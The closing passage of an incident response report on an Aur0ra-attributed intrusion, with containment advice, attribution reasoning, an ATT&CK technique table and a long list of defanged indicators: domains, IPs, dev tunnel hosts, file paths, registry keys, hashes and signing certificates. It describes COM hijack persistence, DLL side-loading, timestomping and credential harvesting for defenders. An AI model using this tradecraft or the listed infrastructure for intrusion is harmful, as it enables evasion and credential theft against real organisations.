Containment and evidence. Because the implant restarted at every logon, the order of containment steps mattered. We recommend isolating an affected device before anyone logs on to it again, collecting evidence, and only then removing persistence, resetting passwords and revoking sessions. Firewall and proxy logs should reach central storage with a retention period of at least 90 days, so that the full uptime of a tunnel and any other client contacting the same server can be checked. Process creation auditing with command lines and full script block logging, neither of which was enabled here, would have recorded the session directly rather than through its side effects.

Attribution

Hexastrike assesses with high confidence that the intrusion was carried out by Aur0ra or one of its affiliates. The strongest evidence is a second intrusion in which we observed the same techniques and the same indicators as here, and which ended with the deployment of Aur0ra ransomware. Aur0ra has operated as a double-extortion ransomware group since the end of April 2026, and an Aur0ra intrusion that was publicly reported in August 2026 also overlaps with this one in three points. Both began with email bombing and a fake IT helpdesk, both used an Xray-core tunnel with VLESS, REALITY, the server name dl.google.com and a Chrome fingerprint, and the reported installer placed a renamed, backdated Xray executable under AppData with a PowerShell relauncher carrying the configuration and a Run value, which is the design of the first installer here.

The public overlap alone would not carry that far, because a Google server name and a Chrome fingerprint are common REALITY choices and a toolkit can change hands, which is why the second intrusion weighs most. The tunnel server, the sender domains, the DLL variant with its COM hijack, the credential harvester and the upload over a dev tunnel appear in no public reporting. The second copy of the toolkit sends its harvest to the identical dev tunnel address, which belongs to a single account. Other builds upload to four further dev tunnels. An installer that surfaced four days before this intrusion is a simpler form of the first installer, without the backdating and with another server, and an October build with FontLab branding installs the implant under Microsoft\TerminalServices\Client, points it at a new server and presents github.githubassets.com instead of Google. The newest harvester surfaced in November, signed with a certificate issued in mid-October, which shows the toolkit still in use and still changing. In the same week as this intrusion, a different operator approached another German industrial group over Teams with a Python loader that shares nothing with this toolkit beyond the approach, which we describe in an upcoming post.

Conclusion

The operator needed a single remote session. Within twelve minutes it held a validated domain password, the network layout of the site and a tunnel into the internal network, and the password and inventory had already left through a Microsoft service. The implant has moved beyond what has been published about this toolkit. It runs inside Explorer without a process or command line of its own, the firewall labels its traffic as Google, its timestamps match the host’s last update and the files beside it decide when and where it connects, so detections built for a renamed Xray executable started with a configuration file would not have fired.

Several controls saw part of the attack and did not act on it. The proxy categorized AnyDesk correctly, AppLocker logged every script, Microsoft flagged the impersonation and the endpoint protection recorded the implant twice, while one firewall rule that let clients bypass the proxy carried both the toolkit download and the tunnel. The signals that will outlast the indicators below are structural, among them an interactive logon requested by a binary in AppData, a per-user COM registration that points into a profile, a server name that does not match its destination and an ordinary workstation uploading to a developer tunnel, and each of them would have exposed this intrusion on the day it happened.

MITRE ATT&CK

TacticTechniqueIDObservation
Resource DevelopmentAcquire Infrastructure: DomainsT1583.001Four helpdesk-support-office domains behind the external Teams tenant
Resource DevelopmentAcquire Infrastructure: Web ServicesT1583.006Microsoft dev tunnels as upload endpoints
Resource DevelopmentObtain Capabilities: Code Signing CertificatesT1588.003Six code-signing certificates issued to five companies
Resource DevelopmentStage Capabilities: Upload MalwareT1608.001Toolkit archive staged on Dropbox
Initial AccessPhishing: Spearphishing VoiceT1566.004Teams call from an external tenant offering IT support
ExecutionCommand and Scripting Interpreter: PowerShellT1059.001Installers, collector and polyglot launcher
ExecutionCommand and Scripting Interpreter: Windows Command ShellT1059.003Batch uploader and the batch half of the polyglot
PersistenceEvent Triggered Execution: Component Object Model HijackingT1546.015Per-user InProcServer32 entry that loads the implant into Explorer
StealthSocial Engineering: ImpersonationT1684.001Sender posing as a colleague under the colleague’s own display name
StealthHijack Execution Flow: DLLT1574.001radcui.dll side-loaded by a copied wkspbroker.exe
StealthMasquerading: Match Legitimate Resource Name or LocationT1036.005Implant named after a Windows library in a Microsoft folder under AppData
StealthIndicator Removal: TimestompT1070.006Broker and implant backdated to the time of the System32 broker
StealthIndicator Removal: File DeletionT1070.004Self-deleting polyglot and removal of the toolkit folder
StealthObfuscated Files or InformationT1027Split strings, Base64-encoded mirrors and a padded harvester
Defense ImpairmentSubvert Trust Controls: Code SigningT1553.002Signed implant and harvester
Credential AccessInput Capture: GUI Input CaptureT1056.002Fake security prompt that validates the password with LogonUserW
DiscoverySystem Owner/User DiscoveryT1033whoami
DiscoverySystem Information DiscoveryT1082systeminfo
DiscoverySystem Network Configuration DiscoveryT1016route print, ipconfig and the harvester’s network inventory
DiscoveryProcess DiscoveryT1057tasklist
CollectionData from Local SystemT1005Settings, profiles and logs of VPN clients
Command and ControlRemote Access Tools: Remote Desktop SoftwareT1219.002Portable AnyDesk session under the employee’s account
Command and ControlIngress Tool TransferT1105Toolkit archive downloaded with curl.exe
Command and ControlProtocol TunnelingT1572VLESS reverse bridge over TCP port 443
Command and ControlProxyT1090Operator connections relayed into the internal network
Command and ControlEncrypted Channel: Asymmetric CryptographyT1573.002REALITY camouflage that imitates a Chrome session with a Google server
ExfiltrationExfiltration Over Web ServiceT1567Password and network inventory posted to a dev tunnel
ImpactEmail BombingT1667Newsletter sign-up flood ahead of the Teams contact

Indicators of Compromise

Note: First Seen and Last Seen values reflect Hexastrike’s observation window for each indicator and do not necessarily represent creation date, registration date, first malicious use, or the full period of operator control.

CategoryTypeValueCommentFirst SeenLast Seen
Networkdomainhelpdesk-support-office-1[.]comTeams sender domain
Networkdomainhelpdesk-support-office-2[.]comTeams sender domain
Networkdomainhelpdesk-support-office-3[.]comTeams sender domain
Networkdomainhelpdesk-support-office-4[.]comTeams sender domain
Networktext9bbedf69-8585-4ed7-a5c7-71b7b02c34e4External Teams sender tenant
Networkip-dst147.185.197[.]237Xray portal
Networkip-dst207.180.58[.]163Xray portal
Networktext-uAZzBhajMAUYiU4zyQ9XNavlBRUBkvceKXa_rBdQjYXray portal key
NetworktextZAMvqiMkScnNtRxAXk1pUg1PrcPzgnS-KfVussQeIFYXray portal key
Networkip-dst83.147.18[.]13Xray portal
NetworktextJCQ4FW364V2oH3K79kpjt6xKa1RRXAA66jE7nrieRB8Xray portal key
Networkip-dst74.0.42[.]157Xray portal
Networktextl1GkwsaYrZyZat4pvImzq8BI0xxb3s2RxH7imf5mDEoXray portal key
Networkhostname1l6xqzpp-7443[.]use[.]devtunnels[.]msDev tunnel upload endpoint
Networkhostnameg2j2d2hw-7443[.]euw[.]devtunnels[.]msDev tunnel upload endpoint
Networkhostnamesdj4mqcf-8443[.]use[.]devtunnels[.]msDev tunnel upload endpoint
Networkhostnamewcz2ps4v-8443[.]use[.]devtunnels[.]msDev tunnel upload endpoint
Networkhostname4jgq343l-7443[.]uks1[.]devtunnels[.]msDev tunnel upload endpoint
Networkhostnameuce335ab57daaa14730ec58df391[.]dl[.]dropboxusercontent[.]comToolkit download
Networkhostnamed2hvq6y0ldmm9s[.]cloudfront[.]netXray download mirror
Networkhostnamed5hkgtqjxqnfo[.]cloudfront[.]netXray download mirror
Networkurlhxxps://www[.]dropbox[.]com/scl/fi/4bdw6lggu5x5avrjls7sg/z.zipXray download mirror
Networkurlhxxps://www[.]dropbox[.]com/scl/fi/rzyml151zxmse06yvodqz/a.zipXray download mirror
Networkurlhxxps://www[.]dropbox[.]com/scl/fi/2x5vw0md8h2mlj116k5w3/Xray-windows-64.zipXray download mirror
Networkurlhxxps://www[.]dropbox[.]com/scl/fi/y0unoesteryu5ah2j7cpr/z.zipXray download mirror
Networkhostnamefile-node-neu[.]ambitioussand-8c67ee96[.]northeurope[.]azurecontainerapps[.]ioXray download mirror
Networkhostnamefile-node-us[.]azurewebsites[.]netXray download mirror
Networkip-dst82.41.181[.]45AnyDesk direct connection target, peer or relay
Hostfilename%LOCALAPPDATA%\Microsoft\RemoteApp\Gateway\radcui.dllSide-loaded Xray DLL
Hostfilename%LOCALAPPDATA%\Microsoft\RemoteApp\Gateway\comsrv.datCOM forwarding target for the Xray DLL
Hostfilename%LOCALAPPDATA%\Microsoft\TerminalServices\Client\radcui.dllSide-loaded Xray DLL
Hostfilename%LOCALAPPDATA%\Microsoft\WVD\Broker\radcui.dllSide-loaded Xray DLL
HostregkeyHKCU\Software\Microsoft\Windows\CurrentVersion\Run\WVDSvcPersistence
HostregkeyHKCU\Software\Microsoft\Windows\CurrentVersion\Run\TerminalServicesSvcPersistence
HostregkeyHKCU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32COM hijack
HostmutexLocal\5b37e1aa2f6e5394Xray wrapper DLL mutex
Hostfilename%LOCALAPPDATA%\Microsoft\SystemBroker\Agent\SystemBrokerAgent.exeXray executable
HostregkeyHKCU\Software\Microsoft\Windows\CurrentVersion\Run\SystemBrokerAgentSvcPersistence
Hostfilename%LOCALAPPDATA%\ConnectivityService\Agent\ConnectivityHost.exeXray executable
HostregkeyHKCU\Software\Microsoft\Windows\CurrentVersion\Run\ConnectivityServiceAgentPersistence
Hostfilename%LOCALAPPDATA%\Microsoft\UpdateCoordinator\Core\UpdateCoordinatorCoordinator.exeXray executable
Hostfilename%APPDATA%\EdgeShield\Credential harvester output
Hostfilename%APPDATA%\PolicyMgr\Credential harvester output
Hostfilename%APPDATA%\FontLab\Credential harvester output
Hostfilename%APPDATA%\TaskPilot\Credential harvester output
Hostfilename%APPDATA%\CloudSync\Credential harvester output
Hostfilename%APPDATA%\UpdateSvc\Credential harvester output
Hostfilename%APPDATA%\ClipDesk\Credential harvester output
Hostfilename%APPDATA%\DefenderPlug\Credential harvester output
Filesha25652f97236a6af9a067b1edd60f89fd48d3949d0172116cb027c34792e90479d4aXray wrapper DLL
Filesha256ff44ca8c0ae2b4ae000f8184eebe2e54ede8e33b7777145b4a86a51c86e4ba57Xray configuration
Filesha2562fccf940755405530f6b7bad48317df7561b445e5a5aeaf6209df9bfc0c0c4d9Xray configuration template
Filesha256c0297f822ce9dff921c647deea57f26fdbb5aa3b1f9641406f45578aac604efbXray wrapper DLL
Filesha256b85a96fff18a3e1cde010f2d60983992cb28d00a96afdd5b1da19aa0a305fb80Xray wrapper DLL
Filesha25680bad186c66038aa972f1f31df23b1461dada71a8ad32c7d3aa785c4624f3544Xray wrapper DLL
Filesha2562a1edc443478664f0b11300282b02f540b0d890c665707bd303f4539b52cc4deXray wrapper DLL
Filesha256c5f7a4c772f2bdcf929220e93dc354b825698a5f43f3f344ea34dc4eec772c2fXray wrapper DLL
Filesha256f3e4cc876700c87349bf1b2cc7dca9febc673d175474b614f32d755d90962827Xray wrapper DLL
Filesha256d4ebf87becb8ac6c9e0c204b483d8c9e56e2b8233471ef7c974f405406acbb88Xray wrapper DLL
Filesha25643b6ea2500336c14abb732eeced4a8a21eaca0ad16e97d28e5f5e08ab0db006fXray wrapper DLL
Filesha256e0927287b4b78432ca1a3156266ec31d46e1c48b757c1ca38d631c7f61e0a24eCredential harvester
Filesha2565b96280469074f69f4805caddae054c1bdab3dd0735e7f64d79f26f745bccee3Credential harvester
Filesha25688fce5bc260870ef6296c4c5967449d0dc38e83b3fcfea5a971446e8dfd1f5ffCredential harvester
Filesha256eeaaa6954b5ab26b2dad9a4cd85857e3eb5b68c9f8026561cc817b0dba664c80Credential harvester
Filesha25611ebc7fdec7fc866de4a912cff5d02ec353aed5e66c0850a8c9b7f3b498437b1Credential harvester
Filesha2568c032fb08ea65a558c09853e0ccb64c3905554fbd6a4724975cadf906dccd2a5Credential harvester
Filesha2568718dc15475c3e12d5bdae6d3153229b12358a45d0f7d095d8da743a4696a7d9Credential harvester
Filesha2566a18bb24e74e16d58a78be8ca183ecd394dcf781d09462897a351772bd486afdCredential harvester
Filesha256ecf67c03cc1ed5395da671dc8e5dbd7b87760e810cdbc4eacffadaacf94066e9Credential harvester
Filesha256cfe976aa42a6c1d8e99098aff4124c6799ba210bc936173d8bd7a55ead45f620Credential harvester
Filesha256b9386907d05d0bc7c00b4b1551cae01a18da2ffbe9fee19af3e608d75805a594Signed toolkit binary
Filesha256c0e872aaf8ca21eae35733209e893b497066e4f3bf3e8b639ebf337d00f3b046Signed toolkit binary
Filesha256806ab0002bd5882e85ceeb1b4e9c69b0f579ea438bd030212285583a4259c060Xray installer script
Filesha2560b542e26b2352b0192afb818cd75338a7d9732db62658fe533c93e3b0cf31b53Xray installer script
Filesha25641b9b04be4d9ede16b08b86a9b100bfc8f3ac3ae4298a846302e4d2d4b722e9fXray installer script
Filesha256554f9808620c000c0459f23207dfc3a83dfda6c0720d88eb7e1d07dbd90df571Xray installer script
Filesha2569def4ae514597044732b01afd823790ba6cedf5d4b080af3ff39fc66d338e5daXray configuration
Filesha2563b193168eb61c79cea2c6c42646d051885b2dd6a2e8fc28e7f85cd51c684d882Xray installer script
Filesha256b2e9cbb469f1b3dbb8f696ba3c8135f7bf7c08bffdbdd7bb51ee8e005155ff6cPolyglot installer
Filesha256ad55ce12defdb938bb310d998513d2fab4a05e57e4113004e6818c6dc7d5f8dcPolyglot installer
Filesha256292884247e7103bd24789c6cac06e9e38488a7e6d0afc5c17d787fe31e4d9ae4Polyglot installer
Filesha2561692ff878336fe2d1942236031a33095939e4c065fd230bf153c7459d2715c68Polyglot installer
Filesha25665b975bc7830f006a6aaa3115a7263ec08fb707860a418a5b9bb2c97c4f72177VPN configuration collector
Filesha256135cfc43fe6428bad794462f2d34b43984700787477fc6ee79c359d54f616ee2VPN configuration collector
Filesha25643080aba3f771b71b0c57ad6103eb2a882a6baf7e808bb938dee5a3d8a4e414eVPN configuration collector
Filesha25662c6382f64d854b30a27d9afd6beb97fe253463cbd8e0e4c7a190b79c3fc78a8VPN configuration collector
Filesha256a02f4f5b59175fe69bf539f9bb3781fa972d05678183dfc285ef70e3980076beVPN configuration collector
Filesha256d227cfa03702c6263d98d93bd1be77a8e0209b09cb8c45ada77ecbaaa7f23977Dev tunnel uploader
Filesha2569686df7402351dc8a9665467f240f091eda4a4fad1ecc8aa478df34db62b751fDev tunnel uploader
Filesha256e3f143312cd9fb5263676d2753e5aba4be3326fbe7c63820a5075ef6d157c994Dev tunnel uploader
Filesha256c490ffdcbb093983806903c28159732298a45da5f6b7fab003ee4b5163c2f0b6Dev tunnel uploader
Filesha256e69a99d4a9254d0d8e863e1b7fbedaefc147e75da3cbfc06e4c49cffcb2b4bd9Dev tunnel uploader
Filesha2561b998dbf377874777608f6fad726a461e051352f1a7f94b426b3a017484f23ddDev tunnel uploader
Filesha256017b837116e9816db7bffbf1e9c18325218b30804fc57abf3f56264a0041034bDev tunnel uploader
Filesha256cb87bd0849c61493596c73702c029981d32c92726f089cb5daec3a35a9cb1f1aDev tunnel uploader
Filesha256dac35aa4b443c2cfd991b5c53667c6016a2a1d1f7082c108bdaf6d5c1d83ee2aDev tunnel uploader
Filesha256bb0815dbc5e00a15622e62e282d1c99b035a57f26db7a5a0e848a03d57deb917Toolkit archive
Filesha256d19abb292af0dd1308234e39d9d8371a278683809321831f0acff1c8f4d95599Toolkit archive
Filesha256d76b6559bec4edaaa548c8906c92fc7542c04d68a564626d83f1d1c8fdeafbb6Xray executable
Filesha256f280c5cebcf404d73927450e763254052a63b43df963ccf69327b8ee775f7e5fXray executable
Filesha2561ac34756f59d05a0f5e6cbad210100c8186e53467a479eccd3e8c69d19e693f8Xray executable
Filesha2566f1988b0951eb30b8236442e6ed214b888317b41f50309d9be820986d26e0197Xray executable
Filesha25655381bc7eed1b279dd6fcc55b29e0a821ed300aeccdd2d53ff072ee5ec0cfd3eXray executable
Filesha256bb9a3911da31135c13e4fa6608ecafc707609f72f0083782f6d79e331c5e21d9Xray executable
Filesha256eaa8daf2999fb3404898c12712a2b23a8563d037fce7467c3f2003b5484b1e99Xray executable
Filex509-fingerprint-sha256be0d4305eba25842fd826aea7a1f070564bfb0493b02fbddaa8f1c21af98e100Code-signing certificate YOUR CHANCE j.d.o.o (SSL.com), serial 66096FE6AAB808036B840F230F5606A5
Filex509-fingerprint-sha256debbbef23276c43ebf9433c6070410fe5bf41d30206c8a243577d7f7e8afa140Code-signing certificate YOUR CHANCE j.d.o.o (Sectigo EV), serial A7DF46AF2D897FF91B38C5DE7EFBC331
Filex509-fingerprint-sha256808de6da13656dfea6dfc4fd2757eb474cf2334cf9896a2ea827a5c6a9d72c47Code-signing certificate Progenies d.o.o (Sectigo EV), serial 7AF487B9452C297BFA92808051E5BB69
Filex509-fingerprint-sha2562305aebf93cda410d3e3435722eee2a8691d99ae5ac7bf0335fbd9f5ed19e534Code-signing certificate Luo Studio Oy (Sectigo EV), serial 9FEC0CBA318FE636A4480BA3F5019872
Filex509-fingerprint-sha256a2c2dfaaed4b134babef7c44a9e406f8c7c69998a4d3818991e60045b1678b49Code-signing certificate Soft Journeys Design LLC (GlobalSign EV), serial 481C460436F5FCAE70171C7C
Filex509-fingerprint-sha256b65b51c0fa481193b21f9225cd2aba3729f8e6a3aed5c3f50160b3be2c6f364aCode-signing certificate BEST FIREWOOD BALTIC OU (SSL.com), serial 089124B0BE12EEBB6BB173F40FE91754

Table of Contents

About the author
Maurice Fielenbach

Maurice has spent over 10 years in cybersecurity, leading digital forensics and incident response, threat intelligence, and threat hunting. He has managed major security incidents across industries and works more than 100 cases per year. He trains security teams in digital forensics, malware analysis, and threat hunting, and is a regular speaker at industry events. His research has been featured in The Hacker News, Cybersecurity News, and Cryptika.

Training built from real incidents. Sharpening the defenders who matter.